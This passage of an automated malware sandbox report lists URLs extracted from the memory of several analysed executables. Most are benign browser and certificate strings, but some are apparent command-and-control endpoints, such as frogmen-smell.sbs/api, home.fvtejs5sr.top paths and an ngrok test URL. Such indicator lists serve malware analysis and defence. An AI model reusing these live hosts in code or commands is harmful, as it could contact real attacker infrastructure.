Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW17
Source: 33a9120b78.exe, 33a9120b78.exe, 00000018.00000003.3228409571.000000000170D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW1731561474
Source: 33a9120b78.exe, 00000018.00000003.3228409571.000000000170D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejs5sr.top/iNfkLAsWrCuVUxMyJkfW1731561474z
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, file.exe, 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2478909810.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2467036058.000000001D57A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 397a6a3fac.exe, 00000019.00000003.2901951072.0000000005448000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041277024.000000000553D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2449094003.0000000000E94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 0000002A.00000003.3397911544.000039DC00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 0000002A.00000003.3397911544.000039DC00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 0000002A.00000003.3397911544.000039DC00A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 0000002A.00000003.3381814092.00007698002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3381915603.00007698002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 33a9120b78.exe, 00000018.00000003.2758308770.000000000745C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2313205496.000000002366E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853574571.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870724416.0000000005469000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853880488.0000000005446000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2870453617.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2853467154.0000000005449000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020692592.0000000005475000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3002237346.000000000546B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3020970466.000000000546D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3290252256.0000000005798000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3323572461.00000000057CB000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3289662705.00000000057F8000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3322300833.0000000005818000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 397a6a3fac.exe, 0000001E.00000003.3039980096.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3125348240.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3041680310.000000000543B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3210067993.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043345493.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/
Source: 397a6a3fac.exe, 0000001E.00000003.3041680310.000000000543B000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3043345493.000000000543B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/&&Y
Source: 397a6a3fac.exe, 00000019.00000003.3011329332.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/.sbs9
Source: 397a6a3fac.exe, 00000019.00000003.3011329332.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2962660453.0000000000C6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/8
Source: 397a6a3fac.exe, 0000001E.00000003.3125732029.0000000000CC9000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3104649464.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3125348240.0000000000CC6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3210067993.0000000000CCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/V
Source: 397a6a3fac.exe, 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3091492977.000000000543D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3231774310.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3288926089.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000024.00000003.3275594136.0000000000F6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/api
Source: 397a6a3fac.exe, 00000019.00000003.2918138762.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2901337114.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2945512987.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2945776369.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.3011574554.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2918412688.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2933493286.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2917874499.0000000000C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apiB
Source: 397a6a3fac.exe, 0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apid
Source: 397a6a3fac.exe, 0000001E.00000003.3104270256.0000000000CDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/apis-
Source: 397a6a3fac.exe, 0000001E.00000003.3067938362.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3067826677.0000000000CC1000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3059324540.0000000000CB5000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3059764525.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs/e
Source: 397a6a3fac.exe, 0000001E.00000003.3068277583.0000000000CC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs:443/apiMicrosoft
Source: 397a6a3fac.exe, 00000019.00000003.3099311408.0000000005413000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://frogmen-smell.sbs:443/apitPK
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: 397a6a3fac.exe, 00000019.00000003.2878640827.000000000543F000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2880718966.0000000005424000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2881320220.0000000005427000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021945121.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021461248.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021669488.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 397a6a3fac.exe, 00000019.00000003.2878640827.000000000543F000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2880718966.0000000005424000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 00000019.00000003.2881320220.0000000005427000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021945121.0000000000CED000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021461248.0000000005443000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3021669488.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 0000002A.00000003.3385871487.000039DC00628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002A.00000003.3385272269.000039DC00628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 397a6a3fac.exe, 0000001E.00000003.3043472668.0000000005753000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2389220239.0000000023928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3085318571.0000000005438000.00000004.00000800.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3060118485.0000000005438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2391354150.00000000236C3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2470628363.00000000236BC000.00000004.00000020.00020000.00000000.sdmp, 397a6a3fac.exe, 0000001E.00000003.3044476895.000000000543D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
